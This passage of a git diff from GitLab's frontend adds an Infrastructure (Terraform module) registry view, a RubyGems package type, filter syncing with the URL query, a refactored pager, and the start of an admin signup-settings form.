+
+export const hasDrafts = (state, getters, rootState, rootGetters) =>
+ Boolean(rootGetters['batchComments/hasDrafts']);
diff --git a/app/assets/javascripts/operation_settings/components/metrics_settings.vue b/app/assets/javascripts/operation_settings/components/metrics_settings.vue
index 0c0bbb744b3..a24612e4680 100644
--- a/app/assets/javascripts/operation_settings/components/metrics_settings.vue
+++ b/app/assets/javascripts/operation_settings/components/metrics_settings.vue
@@ -31,7 +31,9 @@ export default {
<template>
<section class="settings no-animate">
<div class="settings-header">
- <h4 class="js-section-header">
+ <h4
+ class="js-section-header settings-title js-settings-toggle js-settings-toggle-trigger-only"
+ >
{{ s__('MetricsSettings|Metrics dashboard') }}
</h4>
<gl-button class="js-settings-toggle">{{ __('Expand') }}</gl-button>
diff --git a/app/assets/javascripts/packages/list/components/package_search.vue b/app/assets/javascripts/packages/list/components/package_search.vue
index cd61d323d83..2e183b1b978 100644
--- a/app/assets/javascripts/packages/list/components/package_search.vue
+++ b/app/assets/javascripts/packages/list/components/package_search.vue
@@ -2,7 +2,8 @@
import { mapState, mapActions } from 'vuex';
import { __, s__ } from '~/locale';
import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
-import getTableHeaders from '../utils';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
+import { sortableFields } from '../utils';
import PackageTypeToken from './tokens/package_type_token.vue';
export default {
@@ -16,7 +17,7 @@ export default {
operators: [{ value: '=', description: __('is'), default: 'true' }],
},
],
- components: { RegistrySearch },
+ components: { RegistrySearch, UrlSync },
computed: {
...mapState({
isGroupPage: (state) => state.config.isGroupPage,
@@ -24,7 +25,7 @@ export default {
filter: (state) => state.filter,
}),
sortableFields() {
- return getTableHeaders(this.isGroupPage);
+ return sortableFields(this.isGroupPage);
},
},
methods: {
@@ -38,13 +39,18 @@ export default {
</script>
<template>
- <registry-search
- :filter="filter"
- :sorting="sorting"
- :tokens="$options.tokens"
- :sortable-fields="sortableFields"
- @sorting:changed="updateSorting"
- @filter:changed="setFilter"
- @filter:submit="$emit('update')"
- />
+ <url-sync>
+ <template #default="{ updateQuery }">
+ <registry-search
+ :filter="filter"
+ :sorting="sorting"
+ :tokens="$options.tokens"
+ :sortable-fields="sortableFields"
+ @sorting:changed="updateSorting"
+ @filter:changed="setFilter"
+ @filter:submit="$emit('update')"
+ @query:changed="updateQuery"
+ />
+ </template>
+ </url-sync>
</template>
diff --git a/app/assets/javascripts/packages/list/components/package_title.vue b/app/assets/javascripts/packages/list/components/package_title.vue
index 6176e15ffd4..426ad150ea9 100644
--- a/app/assets/javascripts/packages/list/components/package_title.vue
+++ b/app/assets/javascripts/packages/list/components/package_title.vue
@@ -11,25 +11,25 @@ export default {
MetadataItem,
},
props: {
- packagesCount: {
+ count: {
type: Number,
required: false,
default: null,
},
- packageHelpUrl: {
+ helpUrl: {
type: String,
required: true,
},
},
computed: {
showPackageCount() {
- return Number.isInteger(this.packagesCount);
+ return Number.isInteger(this.count);
},
packageAmountText() {
- return n__(`%d Package`, `%d Packages`, this.packagesCount);
+ return n__(`%d Package`, `%d Packages`, this.count);
},
infoMessages() {
- return [{ text: LIST_INTRO_TEXT, link: this.packageHelpUrl }];
+ return [{ text: LIST_INTRO_TEXT, link: this.helpUrl }];
},
},
i18n: {
diff --git a/app/assets/javascripts/packages/list/components/packages_list_app.vue b/app/assets/javascripts/packages/list/components/packages_list_app.vue
index a609dfebedf..4c5fb0ee7c9 100644
--- a/app/assets/javascripts/packages/list/components/packages_list_app.vue
+++ b/app/assets/javascripts/packages/list/components/packages_list_app.vue
@@ -5,9 +5,9 @@ import createFlash from '~/flash';
import { historyReplaceState } from '~/lib/utils/common_utils';
import { s__ } from '~/locale';
import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages/shared/constants';
+import { FILTERED_SEARCH_TERM } from '~/packages_and_registries/shared/constants';
+import { getQueryParams, extractFilterAndSorting } from '~/packages_and_registries/shared/utils';
import { DELETE_PACKAGE_SUCCESS_MESSAGE } from '../constants';
-import PackageSearch from './package_search.vue';
-import PackageTitle from './package_title.vue';
import PackageList from './packages_list.vue';
export default {
@@ -16,8 +16,38 @@ export default {
GlLink,
GlSprintf,
PackageList,
- PackageTitle,
- PackageSearch,
+ PackageTitle: () =>
+ import(/* webpackChunkName: 'package_registry_components' */ './package_title.vue'),
+ PackageSearch: () =>
+ import(/* webpackChunkName: 'package_registry_components' */ './package_search.vue'),
+ InfrastructureTitle: () =>
+ import(
+ /* webpackChunkName: 'infrastructure_registry_components' */ '~/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue'
+ ),
+ InfrastructureSearch: () =>
+ import(
+ /* webpackChunkName: 'infrastructure_registry_components' */ '~/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue'
+ ),
+ },
+ inject: {
+ titleComponent: {
+ from: 'titleComponent',
+ default: 'PackageTitle',
+ },
+ searchComponent: {
+ from: 'searchComponent',
+ default: 'PackageSearch',
+ },
+ emptyPageTitle: {
+ from: 'emptyPageTitle',
+ default: s__('PackageRegistry|There are no packages yet'),
+ },
+ noResultsText: {
+ from: 'noResultsText',
+ default: s__(
+ 'PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab.',
+ ),
+ },
},
computed: {
...mapState({
@@ -30,22 +60,32 @@ export default {
}),
emptySearch() {
return (
- this.filter.filter((f) => f.type !== 'filtered-search-term' || f.value?.data).length === 0
+ this.filter.filter((f) => f.type !== FILTERED_SEARCH_TERM || f.value?.data).length === 0
);
},
emptyStateTitle() {
return this.emptySearch
- ? s__('PackageRegistry|There are no packages yet')
+ ? this.emptyPageTitle
: s__('PackageRegistry|Sorry, your filter produced no results');
},
},
mounted() {
+ const queryParams = getQueryParams(window.document.location.search);
+ const { sorting, filters } = extractFilterAndSorting(queryParams);
+ this.setSorting(sorting);
+ this.setFilter(filters);
this.requestPackagesList();
this.checkDeleteAlert();
},
methods: {
- ...mapActions(['requestPackagesList', 'requestDeletePackage', 'setSelectedType']),
+ ...mapActions([
+ 'requestPackagesList',
+ 'requestDeletePackage',
+ 'setSelectedType',
+ 'setSorting',
+ 'setFilter',
+ ]),
onPageChanged(page) {
return this.requestPackagesList({ page });
},
@@ -65,24 +105,21 @@ export default {
},
i18n: {
widenFilters: s__('PackageRegistry|To widen your search, change or remove the filters above.'),
- noResults: s__(
- 'PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab.',
- ),
},
};
</script>
<template>
<div>
- <package-title :package-help-url="packageHelpUrl" :packages-count="packagesCount" />
- <package-search @update="requestPackagesList" />
+ <component :is="titleComponent" :help-url="packageHelpUrl" :count="packagesCount" />
+ <component :is="searchComponent" @update="requestPackagesList" />
<package-list @page:changed="onPageChanged" @package:delete="onPackageDeleteRequest">
<template #empty-state>
<gl-empty-state :title="emptyStateTitle" :svg-path="emptyListIllustration">
<template #description>
<gl-sprintf v-if="!emptySearch" :message="$options.i18n.widenFilters" />
- <gl-sprintf v-else :message="$options.i18n.noResults">
+ <gl-sprintf v-else :message="noResultsText">
<template #noPackagesLink="{ content }">
<gl-link :href="emptyListHelpUrl" target="_blank">{{ content }}</gl-link>
</template>
diff --git a/app/assets/javascripts/packages/list/constants.js b/app/assets/javascripts/packages/list/constants.js
index 25a55200df2..b4fe3c70dea 100644
--- a/app/assets/javascripts/packages/list/constants.js
+++ b/app/assets/javascripts/packages/list/constants.js
@@ -82,6 +82,10 @@ export const PACKAGE_TYPES = [
title: s__('PackageRegistry|PyPI'),
type: PackageType.PYPI,
},
+ {
+ title: s__('PackageRegistry|RubyGems'),
+ type: PackageType.RUBYGEMS,
+ },
];
export const LIST_TITLE_TEXT = s__('PackageRegistry|Package Registry');
diff --git a/app/assets/javascripts/packages/list/packages_list_app_bundle.js b/app/assets/javascripts/packages/list/packages_list_app_bundle.js
index 58b09c1ebd1..2911cf70a33 100644
--- a/app/assets/javascripts/packages/list/packages_list_app_bundle.js
+++ b/app/assets/javascripts/packages/list/packages_list_app_bundle.js
@@ -1,11 +1,8 @@
import Vue from 'vue';
-import VueApollo from 'vue-apollo';
-import createDefaultClient from '~/lib/graphql';
import Translate from '~/vue_shared/translate';
import PackagesListApp from './components/packages_list_app.vue';
import { createStore } from './stores';
-Vue.use(VueApollo);
Vue.use(Translate);
export default () => {
@@ -13,14 +10,9 @@ export default () => {
const store = createStore();
store.dispatch('setInitialState', el.dataset);
- const apolloProvider = new VueApollo({
- defaultClient: createDefaultClient(),
- });
-
return new Vue({
el,
store,
- apolloProvider,
components: {
PackagesListApp,
},
diff --git a/app/assets/javascripts/packages/list/utils.js b/app/assets/javascripts/packages/list/utils.js
index ee89d3cdefe..537b30d2ca4 100644
--- a/app/assets/javascripts/packages/list/utils.js
+++ b/app/assets/javascripts/packages/list/utils.js
@@ -1,7 +1,7 @@
import { LIST_KEY_PROJECT, SORT_FIELDS } from './constants';
-export default (isGroupPage) =>
- SORT_FIELDS.filter((f) => f.key !== LIST_KEY_PROJECT || isGroupPage);
+export const sortableFields = (isGroupPage) =>
+ SORT_FIELDS.filter((f) => f.orderBy !== LIST_KEY_PROJECT || isGroupPage);
/**
* A small util function that works out if the delete action has deleted the
diff --git a/app/assets/javascripts/packages/shared/components/package_icon_and_name.vue b/app/assets/javascripts/packages/shared/components/package_icon_and_name.vue
new file mode 100644
index 00000000000..105f7bbe132
--- /dev/null
+++ b/app/assets/javascripts/packages/shared/components/package_icon_and_name.vue
@@ -0,0 +1,17 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+
+export default {
+ name: 'PackageIconAndName',
+ components: {
+ GlIcon,
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-align-items-center">
+ <gl-icon name="package" class="gl-ml-3 gl-mr-2" />
+ <span><slot></slot></span>
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages/shared/components/package_list_row.vue b/app/assets/javascripts/packages/shared/components/package_list_row.vue
index 172b356227a..4de4c191e51 100644
--- a/app/assets/javascripts/packages/shared/components/package_list_row.vue
+++ b/app/assets/javascripts/packages/shared/components/package_list_row.vue
@@ -1,5 +1,5 @@
<script>
-import { GlButton, GlIcon, GlLink, GlSprintf, GlTooltipDirective, GlTruncate } from '@gitlab/ui';
+import { GlButton, GlLink, GlSprintf, GlTooltipDirective, GlTruncate } from '@gitlab/ui';
import ListItem from '~/vue_shared/components/registry/list_item.vue';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import { getPackageTypeLabel } from '../utils';
@@ -11,7 +11,6 @@ export default {
name: 'PackageListRow',
components: {
GlButton,
- GlIcon,
GlLink,
GlSprintf,
GlTruncate,
@@ -19,11 +18,23 @@ export default {
PackagePath,
PublishMethod,
ListItem,
+ PackageIconAndName: () =>
+ import(/* webpackChunkName: 'package_registry_components' */ './package_icon_and_name.vue'),
+ InfrastructureIconAndName: () =>
+ import(
+ /* webpackChunkName: 'infrastructure_registry_components' */ '~/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue'
+ ),
},
directives: {
GlTooltip: GlTooltipDirective,
},
mixins: [timeagoMixin],
+ inject: {
+ iconComponent: {
+ from: 'iconComponent',
+ default: 'PackageIconAndName',
+ },
+ },
props: {
packageEntity: {
type: Object,
@@ -94,10 +105,9 @@ export default {
</gl-sprintf>
</div>
- <div v-if="showPackageType" class="d-flex align-items-center" data-testid="package-type">
- <gl-icon name="package" class="gl-ml-3 gl-mr-2" />
- <span>{{ packageType }}</span>
- </div>
+ <component :is="iconComponent" v-if="showPackageType">
+ {{ packageType }}
+ </component>
<package-path v-if="hasProjectLink" :path="packageEntity.project_path" />
</div>
diff --git a/app/assets/javascripts/packages/shared/constants.js b/app/assets/javascripts/packages/shared/constants.js
index c0f7f150337..f7de31c2c86 100644
--- a/app/assets/javascripts/packages/shared/constants.js
+++ b/app/assets/javascripts/packages/shared/constants.js
@@ -7,6 +7,7 @@ export const PackageType = {
NUGET: 'nuget',
PYPI: 'pypi',
COMPOSER: 'composer',
+ RUBYGEMS: 'rubygems',
GENERIC: 'generic',
};
diff --git a/app/assets/javascripts/packages/shared/utils.js b/app/assets/javascripts/packages/shared/utils.js
index d34372e89b6..bd35a47ca4d 100644
--- a/app/assets/javascripts/packages/shared/utils.js
+++ b/app/assets/javascripts/packages/shared/utils.js
@@ -10,19 +10,21 @@ export const beautifyPath = (path) => (path ? path.split('/').join(' / ') : '');
export const getPackageTypeLabel = (packageType) => {
switch (packageType) {
case PackageType.CONAN:
- return s__('PackageType|Conan');
+ return s__('PackageRegistry|Conan');
case PackageType.MAVEN:
- return s__('PackageType|Maven');
+ return s__('PackageRegistry|Maven');
case PackageType.NPM:
- return s__('PackageType|npm');
+ return s__('PackageRegistry|npm');
case PackageType.NUGET:
- return s__('PackageType|NuGet');
+ return s__('PackageRegistry|NuGet');
case PackageType.PYPI:
- return s__('PackageType|PyPI');
+ return s__('PackageRegistry|PyPI');
+ case PackageType.RUBYGEMS:
+ return s__('PackageRegistry|RubyGems');
case PackageType.COMPOSER:
- return s__('PackageType|Composer');
+ return s__('PackageRegistry|Composer');
case PackageType.GENERIC:
- return s__('PackageType|Generic');
+ return s__('PackageRegistry|Generic');
default:
return null;
}
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue
new file mode 100644
index 00000000000..3100a1a7296
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_icon_and_name.vue
@@ -0,0 +1,17 @@
+<script>
+import { GlIcon } from '@gitlab/ui';
+
+export default {
+ name: 'InfrastructureIconAndName',
+ components: {
+ GlIcon,
+ },
+};
+</script>
+
+<template>
+ <div class="gl-display-flex gl-align-items-center">
+ <gl-icon name="infrastructure-registry" class="gl-ml-3 gl-mr-2" />
+ <span>{{ s__('InfrastructureRegistry|Terraform') }}</span>
+ </div>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue
new file mode 100644
index 00000000000..4928da862ea
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_search.vue
@@ -0,0 +1,45 @@
+<script>
+import { mapState, mapActions } from 'vuex';
+import { LIST_KEY_PACKAGE_TYPE } from '~/packages/list/constants';
+import { sortableFields } from '~/packages/list/utils';
+import RegistrySearch from '~/vue_shared/components/registry/registry_search.vue';
+import UrlSync from '~/vue_shared/components/url_sync.vue';
+
+export default {
+ components: { RegistrySearch, UrlSync },
+ computed: {
+ ...mapState({
+ isGroupPage: (state) => state.config.isGroupPage,
+ sorting: (state) => state.sorting,
+ filter: (state) => state.filter,
+ }),
+ sortableFields() {
+ return sortableFields(this.isGroupPage).filter((h) => h.orderBy !== LIST_KEY_PACKAGE_TYPE);
+ },
+ },
+ methods: {
+ ...mapActions(['setSorting', 'setFilter']),
+ updateSorting(newValue) {
+ this.setSorting(newValue);
+ this.$emit('update');
+ },
+ },
+};
+</script>
+
+<template>
+ <url-sync>
+ <template #default="{ updateQuery }">
+ <registry-search
+ :filter="filter"
+ :sorting="sorting"
+ :tokens="[]"
+ :sortable-fields="sortableFields"
+ @sorting:changed="updateSorting"
+ @filter:changed="setFilter"
+ @filter:submit="$emit('update')"
+ @query:changed="updateQuery"
+ />
+ </template>
+ </url-sync>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue
new file mode 100644
index 00000000000..2a479c65d0c
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/components/infrastructure_title.vue
@@ -0,0 +1,53 @@
+<script>
+import { s__, n__ } from '~/locale';
+import MetadataItem from '~/vue_shared/components/registry/metadata_item.vue';
+import TitleArea from '~/vue_shared/components/registry/title_area.vue';
+
+export default {
+ name: 'InfrastructureTitle',
+ components: {
+ TitleArea,
+ MetadataItem,
+ },
+ props: {
+ count: {
+ type: Number,
+ required: false,
+ default: null,
+ },
+ helpUrl: {
+ type: String,
+ required: true,
+ },
+ },
+ computed: {
+ showModuleCount() {
+ return Number.isInteger(this.count);
+ },
+ moduleAmountText() {
+ return n__(`%d Module`, `%d Modules`, this.count);
+ },
+ infoMessages() {
+ return [{ text: this.$options.i18n.LIST_INTRO_TEXT, link: this.helpUrl }];
+ },
+ },
+ i18n: {
+ LIST_TITLE_TEXT: s__('InfrastructureRegistry|Infrastructure Registry'),
+ LIST_INTRO_TEXT: s__(
+ 'InfrastructureRegistry|Publish and share your modules. %{docLinkStart}More information%{docLinkEnd}',
+ ),
+ },
+};
+</script>
+
+<template>
+ <title-area :title="$options.i18n.LIST_TITLE_TEXT" :info-messages="infoMessages">
+ <template #metadata-amount>
+ <metadata-item
+ v-if="showModuleCount"
+ icon="infrastructure-registry"
+ :text="moduleAmountText"
+ />
+ </template>
+ </title-area>
+</template>
diff --git a/app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js
new file mode 100644
index 00000000000..88ee8a4200e
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/infrastructure_registry/list_app_bundle.js
@@ -0,0 +1,33 @@
+import Vue from 'vue';
+import { s__ } from '~/locale';
+import PackagesListApp from '~/packages/list/components/packages_list_app.vue';
+import { createStore } from '~/packages/list/stores';
+import Translate from '~/vue_shared/translate';
+
+Vue.use(Translate);
+
+export default () => {
+ const el = document.getElementById('js-vue-packages-list');
+ const store = createStore();
+ store.dispatch('setInitialState', el.dataset);
+
+ return new Vue({
+ el,
+ store,
+ components: {
+ PackagesListApp,
+ },
+ provide: {
+ titleComponent: 'InfrastructureTitle',
+ searchComponent: 'InfrastructureSearch',
+ iconComponent: 'InfrastructureIconAndName',
+ emptyPageTitle: s__('InfrastructureRegistry|You have no Terraform modules in your project'),
+ noResultsText: s__(
+ 'InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab.',
+ ),
+ },
+ render(createElement) {
+ return createElement('packages-list-app');
+ },
+ });
+};
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/components/maven_settings.vue b/app/assets/javascripts/packages_and_registries/settings/group/components/maven_settings.vue
index d4f51b83e1e..faacabb44ce 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/components/maven_settings.vue
+++ b/app/assets/javascripts/packages_and_registries/settings/group/components/maven_settings.vue
@@ -2,6 +2,7 @@
import { GlSprintf, GlToggle, GlFormGroup, GlFormInput } from '@gitlab/ui';
import {
+ MAVEN_TOGGLE_LABEL,
MAVEN_TITLE,
MAVEN_SETTINGS_SUBTITLE,
MAVEN_DUPLICATES_ALLOWED_DISABLED,
@@ -15,6 +16,7 @@ import {
export default {
name: 'MavenSettings',
i18n: {
+ MAVEN_TOGGLE_LABEL,
MAVEN_TITLE,
MAVEN_SETTINGS_SUBTITLE,
MAVEN_SETTING_EXCEPTION_TITLE,
@@ -80,6 +82,8 @@ export default {
<div class="gl-display-flex">
<gl-toggle
data-qa-selector="allow_duplicates_toggle"
+ :label="$options.i18n.MAVEN_TOGGLE_LABEL"
+ label-position="hidden"
:value="mavenDuplicatesAllowed"
@change="update($options.modelNames.MAVEN_DUPLICATES_ALLOWED, $event)"
/>
diff --git a/app/assets/javascripts/packages_and_registries/settings/group/constants.js b/app/assets/javascripts/packages_and_registries/settings/group/constants.js
index 72bec74060c..d52a6a626f9 100644
--- a/app/assets/javascripts/packages_and_registries/settings/group/constants.js
+++ b/app/assets/javascripts/packages_and_registries/settings/group/constants.js
@@ -8,6 +8,7 @@ export const PACKAGE_SETTINGS_DESCRIPTION = s__(
export const MAVEN_TITLE = s__('PackageRegistry|Maven');
export const MAVEN_SETTINGS_SUBTITLE = s__('PackageRegistry|Settings for Maven packages');
+export const MAVEN_TOGGLE_LABEL = s__('PackageRegistry|Allow duplicates');
export const MAVEN_DUPLICATES_ALLOWED_DISABLED = s__(
'PackageRegistry|%{boldStart}Do not allow duplicates%{boldEnd} - Packages with the same name and version are rejected.',
);
diff --git a/app/assets/javascripts/packages_and_registries/shared/constants.js b/app/assets/javascripts/packages_and_registries/shared/constants.js
new file mode 100644
index 00000000000..55b5816cc5a
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/shared/constants.js
@@ -0,0 +1 @@
+export const FILTERED_SEARCH_TERM = 'filtered-search-term';
diff --git a/app/assets/javascripts/packages_and_registries/shared/utils.js b/app/assets/javascripts/packages_and_registries/shared/utils.js
new file mode 100644
index 00000000000..cc5c7ce82bf
--- /dev/null
+++ b/app/assets/javascripts/packages_and_registries/shared/utils.js
@@ -0,0 +1,29 @@
+import { queryToObject } from '~/lib/utils/url_utility';
+import { FILTERED_SEARCH_TERM } from './constants';
+
+export const getQueryParams = (query) => queryToObject(query, { gatherArrays: true });
+
+export const keyValueToFilterToken = (type, data) => ({ type, value: { data } });
+
+export const searchArrayToFilterTokens = (search) =>
+ search.map((s) => keyValueToFilterToken(FILTERED_SEARCH_TERM, s));
+
+export const extractFilterAndSorting = (queryObject) => {
+ const { type, search, sort, orderBy } = queryObject;
+ const filters = [];
+ const sorting = {};
+
+ if (type) {
+ filters.push(keyValueToFilterToken('type', type));
+ }
+ if (search) {
+ filters.push(...searchArrayToFilterTokens(search));
+ }
+ if (sort) {
+ sorting.sort = sort;
+ }
+ if (orderBy) {
+ sorting.orderBy = orderBy;
+ }
+ return { filters, sorting };
+};
diff --git a/app/assets/javascripts/pager.js b/app/assets/javascripts/pager.js
index f78d2b0dbd3..3ad9d80b4f2 100644
--- a/app/assets/javascripts/pager.js
+++ b/app/assets/javascripts/pager.js
@@ -8,20 +8,21 @@ const ENDLESS_SCROLL_BOTTOM_PX = 400;
const ENDLESS_SCROLL_FIRE_DELAY_MS = 1000;
export default {
- init(
+ init({
limit = 0,
preload = false,
disable = false,
prepareData = $.noop,
- callback = $.noop,
+ successCallback = $.noop,
+ errorCallback = $.noop,
container = '',
- ) {
- this.url = $('.content_list').data('href') || removeParams(['limit', 'offset']);
+ } = {}) {
this.limit = limit;
this.offset = parseInt(getParameterByName('offset'), 10) || this.limit;
this.disable = disable;
this.prepareData = prepareData;
- this.callback = callback;
+ this.successCallback = successCallback;
+ this.errorCallback = errorCallback;
this.loading = $(`${container} .loading`).first();
if (preload) {
this.offset = 0;
@@ -32,8 +33,10 @@ export default {
getOld() {
this.loading.show();
+ const url = $('.content_list').data('href') || removeParams(['limit', 'offset']);
+
axios
- .get(this.url, {
+ .get(url, {
params: {
limit: this.limit,
offset: this.offset,
@@ -41,7 +44,7 @@ export default {
})
.then(({ data }) => {
this.append(data.count, this.prepareData(data.html));
- this.callback();
+ this.successCallback();
// keep loading until we've filled the viewport height
if (!this.disable && !this.isScrollable()) {
@@ -50,7 +53,8 @@ export default {
this.loading.hide();
}
})
- .catch(() => this.loading.hide());
+ .catch((err) => this.errorCallback(err))
+ .finally(() => this.loading.hide());
},
append(count, html) {
diff --git a/app/assets/javascripts/pages/admin/abuse_reports/index.js b/app/assets/javascripts/pages/admin/abuse_reports/index.js
index 0a4311ec73a..a88d35796f7 100644
--- a/app/assets/javascripts/pages/admin/abuse_reports/index.js
+++ b/app/assets/javascripts/pages/admin/abuse_reports/index.js
@@ -1,5 +1,8 @@
+import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
import UsersSelect from '~/users_select';
import AbuseReports from './abuse_reports';
new AbuseReports(); /* eslint-disable-line no-new */
new UsersSelect(); /* eslint-disable-line no-new */
+
+document.addEventListener('DOMContentLoaded', initDeprecatedRemoveRowBehavior);
diff --git a/app/assets/javascripts/pages/admin/admin.js b/app/assets/javascripts/pages/admin/admin.js
index 2732fc191be..6b7bfbf217d 100644
--- a/app/assets/javascripts/pages/admin/admin.js
+++ b/app/assets/javascripts/pages/admin/admin.js
@@ -1,16 +1,6 @@
import $ from 'jquery';
import { refreshCurrentPage } from '../../lib/utils/url_utility';
-function showDenylistType() {
- if ($('input[name="denylist_type"]:checked').val() === 'file') {
- $('.js-denylist-file').show();
- $('.js-denylist-raw').hide();
- } else {
- $('.js-denylist-file').hide();
- $('.js-denylist-raw').show();
- }
-}
-
export default function adminInit() {
$('input#user_force_random_password').on('change', function randomPasswordClick() {
const $elems = $('#user_password, #user_password_confirmation');
@@ -27,7 +17,4 @@ export default function adminInit() {
});
$('li.project_member, li.group_member').on('ajax:success', refreshCurrentPage);
-
- $("input[name='denylist_type']").on('click', showDenylistType);
- showDenylistType();
}
diff --git a/app/assets/javascripts/pages/admin/application_settings/general/components/signup_checkbox.vue b/app/assets/javascripts/pages/admin/application_settings/general/components/signup_checkbox.vue
new file mode 100644
index 00000000000..2217792d7f3
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/application_settings/general/components/signup_checkbox.vue
@@ -0,0 +1,50 @@
+<script>
+import { GlFormCheckbox } from '@gitlab/ui';
+
+export default {
+ components: {
+ GlFormCheckbox,
+ },
+ props: {
+ name: {
+ type: String,
+ required: true,
+ },
+ helpText: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ label: {
+ type: String,
+ required: true,
+ },
+ value: {
+ type: Boolean,
+ required: true,
+ },
+ dataQaSelector: {
+ type: String,
+ required: false,
+ default: '',
+ },
+ },
+};
+</script>
+
+<template>
+ <div>
+ <input :name="name" type="hidden" :value="value ? '1' : '0'" data-testid="input" />
+
+ <gl-form-checkbox
+ :checked="value"
+ :data-qa-selector="dataQaSelector"
+ @input="$emit('input', $event)"
+ >
+ <span data-testid="label">{{ label }}</span>
+ <template v-if="helpText" #help>
+ <span data-testid="helpText">{{ helpText }}</span>
+ </template>
+ </gl-form-checkbox>
+ </div>
+</template>
diff --git a/app/assets/javascripts/pages/admin/application_settings/general/components/signup_form.vue b/app/assets/javascripts/pages/admin/application_settings/general/components/signup_form.vue
new file mode 100644
index 00000000000..9850113d4be
--- /dev/null
+++ b/app/assets/javascripts/pages/admin/application_settings/general/components/signup_form.vue
@@ -0,0 +1,417 @@
+<script>
+import {
+ GlButton,
+ GlFormGroup,
+ GlFormInput,
+ GlFormRadio,
+ GlFormRadioGroup,
+ GlSprintf,
+ GlLink,
+ GlModal,
+} from '@gitlab/ui';
+import { toSafeInteger } from 'lodash';
+import csrf from '~/lib/utils/csrf';
+import { __, s__, sprintf } from '~/locale';
+import SignupCheckbox from './signup_checkbox.vue';
+
+const DENYLIST_TYPE_RAW = 'raw';
+const DENYLIST_TYPE_FILE = 'file';
+
+export default {
+ csrf,
+ DENYLIST_TYPE_RAW,
+ DENYLIST_TYPE_FILE,
+ components: {
+ GlButton,
+ GlFormGroup,
+ GlFormInput,
+ GlFormRadio,
+ GlFormRadioGroup,
+ GlSprintf,
+ GlLink,
+ SignupCheckbox,
+ GlModal,
+ },
+ inject: [
+ 'host',
+ 'settingsPath',
+ 'signupEnabled',
+ 'requireAdminApprovalAfterUserSignup',
+ 'sendUserConfirmationEmail',
+ 'minimumPasswordLength',
+ 'minimumPasswordLengthMin',
+ 'minimumPasswordLengthMax',
+ 'minimumPasswordLengthHelpLink',
+ 'domainAllowlistRaw',
+ 'newUserSignupsCap',
+ 'domainDenylistEnabled',
+ 'denylistTypeRawSelected',
+ 'domainDenylistRaw',
+ 'emailRestrictionsEnabled',
+ 'supportedSyntaxLinkUrl',
+ 'emailRestrictions',
+ 'afterSignUpText',
+ ],
+ data() {
+ return {
+ showModal: false,
+ form: {
+ signupEnabled: this.signupEnabled,
+ requireAdminApproval: this.requireAdminApprovalAfterUserSignup,
+ sendConfirmationEmail: this.sendUserConfirmationEmail,
+ minimumPasswordLength: this.minimumPasswordLength,
+ minimumPasswordLengthMin: this.minimumPasswordLengthMin,
+ minimumPasswordLengthMax: this.minimumPasswordLengthMax,
+ minimumPasswordLengthHelpLink: this.minimumPasswordLengthHelpLink,
+ domainAllowlistRaw: this.domainAllowlistRaw,
+ userCap: this.newUserSignupsCap,
+ domainDenylistEnabled: this.domainDenylistEnabled,
+ denylistType: this.denylistTypeRawSelected
+ ? this.$options.DENYLIST_TYPE_RAW
+ : this.$options.DENYLIST_TYPE_FILE,
+ domainDenylistRaw: this.domainDenylistRaw,
+ emailRestrictionsEnabled: this.emailRestrictionsEnabled,
+ supportedSyntaxLinkUrl: this.supportedSyntaxLinkUrl,
+ emailRestrictions: this.emailRestrictions,
+ afterSignUpText: this.afterSignUpText,
+ },
+ };
+ },
+ computed: {
+ isOldUserCapUnlimited() {
+ // User cap is set to unlimited if no value is provided in the field
+ return this.newUserSignupsCap === '';
+ },
+ isNewUserCapUnlimited() {
+ // User cap is set to unlimited if no value is provided in the field
+ return this.form.userCap === '';
+ },
+ hasUserCapChangedFromUnlimitedToLimited() {
+ return this.isOldUserCapUnlimited && !this.isNewUserCapUnlimited;
+ },
+ hasUserCapChangedFromLimitedToUnlimited() {
+ return !this.isOldUserCapUnlimited && this.isNewUserCapUnlimited;
+ },
+ hasUserCapBeenIncreased() {
+ if (this.hasUserCapChangedFromUnlimitedToLimited) {
+ return false;
+ }
+
+ const oldValueAsInteger = toSafeInteger(this.newUserSignupsCap);
+ const newValueAsInteger = toSafeInteger(this.form.userCap);
+
+ return this.hasUserCapChangedFromLimitedToUnlimited || newValueAsInteger > oldValueAsInteger;
+ },
+ canUsersBeAccidentallyApproved() {
+ const hasUserCapBeenToggledOff =
+ this.requireAdminApprovalAfterUserSignup && !this.form.requireAdminApproval;
+
